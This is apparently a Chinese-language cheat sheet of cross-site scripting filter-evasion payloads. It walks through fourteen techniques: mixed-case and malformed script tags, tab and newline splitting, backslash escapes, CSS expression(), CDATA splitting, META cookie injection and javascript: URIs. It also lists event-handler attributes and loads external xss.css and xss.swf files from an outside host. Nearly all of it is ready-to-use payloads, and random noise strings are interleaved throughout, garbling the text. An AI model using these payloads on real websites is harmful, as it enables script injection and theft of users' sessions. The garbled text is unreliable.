1. 改变字符大小写, Y) ]& m4 C( B5 m% f" N
4 D$ S: K! |+ V3 X9 v 2 @' M, _, U! C) A i
/ M4 e0 m3 Y* \$ x' }( z2 }
<sCript>alert(‘d’)</scRipT>
8 r6 d: F" f: e4 u
6 |& W; r2 Q) V5 D: N2. 利用多加一些其它字符来规避Regular Expression的检查8 S4 b: ]% I7 U3 B
9 B2 w5 I) ?' W4 }6 e4 z8 h0 w
<<script>alert(‘c’)//<</script>
% E1 j% U# T2 a% ]& z" y% a1 B& n. q1 z7 } r# A2 J3 U
<SCRIPT a=">" SRC="t.js"></SCRIPT>
& d1 A" k* ?" w1 n" e* ]: d" y5 q# u( l1 B# K$ d* g6 A
<SCRIPT =">" SRC="t.js"></SCRIPT>
$ I5 C8 f8 G J
$ C! H8 B# v6 L# Z- | <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
. y3 Y, l; m/ I: y! U$ P2 A- v' f3 c3 z6 ]+ Y- y) \9 Q$ G
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
J; u$ ~8 `0 [, u9 Z* C$ d
# Y6 U2 z! u; `- u <SCRIPT a=`>` SRC="t.js"></SCRIPT>" b* l5 ?' y: u9 b; ^/ z& y
, J- i& h% s* r( u0 W& t" n" J# ] <SCRIPT a=">’>" SRC="t.js"></SCRIPT>* T" m, R* R. u. m% q% i/ ^
9 T4 p6 L$ r) v g
3. 以其它扩展名取代.js
# l2 m. F1 {( |2 {) O. T4 _% k- M: ]. Q
<script src="bad.jpg"></script>
8 Z8 J( p& r Y) l* C9 D4 h/ X' j/ { Q. i- P+ p+ |1 ~$ @
4. 将Javascript写在CSS档里
+ d) @3 C& Q$ \9 |5 E7 T; {
. E' o3 K0 t2 f+ M- L" K" m <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">! I# ]* k+ |! H3 ~$ W; w" A) r
' R, T) n8 @" O& f k/ O8 ?
example: u* G& P; O) ~+ ^/ z3 P
$ s) ^/ v4 E" Y5 A6 ^$ S! l body {
0 w" G1 V) K/ N. L, t1 m* {* C9 D6 ]" E- }2 ?
background-image: url(‘javascript:alert("XSS");’)6 |* l; F$ H2 e' B2 A; f
$ Z2 q& J' T4 @. r7 R" b }. u# m# D# b1 u5 R l" p, ]- `& }
/ v( w5 D7 ?' K# E: {
5. 在script的tag里加入一些其它字符
, b( U2 M1 ~; g3 x- G! m
7 k3 O' A. u& U5 K& g- m0 m <SCRIPT/SRC="t.js"></SCRIPT>6 X/ Z5 j- S! ]/ o) N5 q
8 N$ D' g, o. _/ V! ]! l
<SCRIPT/anyword SRC="t.js"></SCRIPT>) G/ r) U: `" w9 K: l7 t( o0 b8 ^
( r3 I# b1 _2 ^8 S7 t8 |/ b- s+ k
6. 使用tab或是new line来规避
6 k0 v+ t6 q K! C6 n
1 s6 u& p4 m K! u <img src="jav ascr ipt:alert(‘XSS3′)">
! C4 F+ @# q8 q! I, l) @
6 W' |' t: h2 d2 H! b% o+ C <img src="jav ascr ipt:alert(‘XSS3′)"> d9 |+ D' {7 c6 ^( D
2 }$ b" V ~0 M7 C* b+ x! H
<IMG SRC="jav ascript:alert(‘XSS’);">
0 h& z3 d4 S4 _8 B$ J# F a" W( N# C8 ]
-> tag) F [1 h, c7 L8 W
9 ~( \, ?; T3 P1 M: J! _0 N -> new line
0 r6 f; [; P% x: Q7 B! O, F" X) t- C; H7 {3 d: k" U; ?" }3 ^8 B# m' u
7. 使用"\"来规避" D7 v/ S$ r' }3 r! M. a
8 L d8 i8 f& f2 K' q <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
# H6 W) P* V3 j5 j% y
% [' I8 m& J) ] <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>; I+ w) Y. g/ G/ v
7 q! S& t- A2 `8 ]" g1 l6 }6 Q9 l/ u+ N7 A
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">% S8 B H8 b; C6 f- I/ k6 q
6 P8 C" ]7 E$ `( p6 h/ Q <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 m- |: `5 n3 B# _# M: j! d9 L' r
# P" G Y! i5 v# D! L% V) w
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
`8 G% L+ i" S9 S2 K m' Y' l: \4 G1 Z" K9 W8 s
8. 使用Hex encode来规避(也可能会把";"拿掉)" m- @ Z( H5 w+ e$ |/ z" @
$ M. ~& \% v7 w5 E- z0 c <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">/ Y8 Q1 ^6 Y/ L
4 A: z. K9 j" [2 {5 \( ^, @% ^( I
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
! i( [7 t3 X) V. j' ]2 H( N! ]$ r1 p1 Z5 M+ L
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">% w6 U/ b. D0 z' K. |6 a* m
# j5 o6 }( X1 B Q9 F9 |1 D 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* Z/ X/ O: P5 `% D7 x0 q
6 d; |. k7 U) F4 ]/ z4 ]9. script in HTML tag' w1 i! U8 C, Q: j# v, }
* Z- T' F4 k% e1 G% ? T <body onload=」alert(‘onload’)」>
, C; V# m" P( U7 o* K6 l4 U$ j; i. z8 E( T' `- Y
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload% y. Y, Q+ t/ C @2 t# ]% x
' u: ?, i/ ~0 Y10. 在swf里含有xss的code
+ J, Q O6 S+ X% P( f' _: V
8 t! T- T# r8 C* ] f& p" l6 y <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>5 `( f: ^- d6 u& N2 W
$ p4 `% @* B+ @; g7 N11. 利用CDATA将xss的code拆开,再组合起来。0 W4 G) j: H B
- {0 [4 q: R$ N6 x: i <XML ID=I><X><C>! K* `& n0 p6 w& ~1 p" l; u( L/ i
* |" }2 h8 A' v <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
" ]! X P. z4 {4 V" p" U( x5 t T1 h4 b
</C></X>
! z; ?: _6 |! X! ~9 c
7 h/ C; s) p Y </xml>
! r |9 X1 n3 r( S/ C, S2 }
: M6 R2 i$ `. L9 n7 ^- u3 u <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
$ k* H, N1 b) R8 \/ r1 ~+ R+ m0 b; |# j/ Z5 w d' d1 R7 Z1 F, i+ p
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
+ i( I+ p0 Z3 z
* f' S; w6 y% v! i t, R <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
4 v# _, u. [/ L* n7 @1 `6 H" s
3 ~8 [ g$ ]; a9 L" E12. 利用HTML+TIME。& n$ V X) l$ X+ T0 w h1 P
0 d! `! c" Y9 t6 } <HTML><BODY>. S9 A( X- `: o7 E+ \# S
6 C; k+ H" O1 J2 i* ]7 R <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">, I# a$ h8 ^- D
, }1 V. [6 \7 G5 G' `! a; T7 l! o
<?import namespace="t" implementation="#default#time2">" K7 N5 Y. T% C& Q2 U6 B
$ L7 L6 I1 j: g, T! J <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">, S# J+ i. X& L7 F2 [4 e+ [4 K
) R- F9 X- _3 [! V </BODY></HTML>
6 {" [$ R% ?. D6 s0 S/ f
2 [/ [' x/ T: R13. 透过META写入Cookie。
3 J& K8 _) e z. I" h% s/ J5 j6 Z8 [' R
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">" q: |1 D5 k( n
7 U& l+ j0 w! r. W7 d3 V" `" g
14. javascript in src , href , url
5 v; d/ z4 z: L _ O- ^) N: B5 z, N' ^% a& I( R" j5 I2 n* |
<IFRAME SRC=javascript:alert(’13′)></IFRAME>: t. m( F' z! H) w0 L
. O1 w% P b* ?) Y3 } <img src="javascript:alert(‘XSS3′)">
! d+ M. ?6 C$ U2 G0 E3 d1 R5 j7 e* X( v a& X8 L$ J
<IMG DYNSRC="javascript:alert(‘XSS20′)">
* t& V# }2 S- x: o
8 k. T6 o3 |, j" [ <IMG LOWSRC="javascript:alert(‘XSS21′)">
4 T; f5 S! v# I1 ~ |# h
. P) Z7 {( e! f# w+ x+ X. j: a <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">$ r8 M9 N" q- \
* y- ~0 ^: v5 x; \
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
8 C4 N: q$ @7 C1 H/ r/ R: ]3 w) w% G# W) g. b) M6 S) [' I7 }6 G! o
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">( Z$ T6 G) A+ _7 c- m2 U$ w' x# s
% ]+ S; D4 F# E- c7 `
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">* L! M# f0 b) ^* ?* l7 `" }+ x
; _4 T5 O% ?/ Z# D) F" n <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}6 v$ m! x7 _# M2 L, D! V
- y9 g2 h; X7 J% C$ X </STYLE><A CLASS=XSS></A>
+ a; |8 M2 z1 E ?, W& a S
0 b0 q' s' C. P& @7 C, S+ x) u <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>! W7 ^1 w* @( t3 T2 m3 Z
3 w/ Z2 B+ s, @! o- ~* a- l |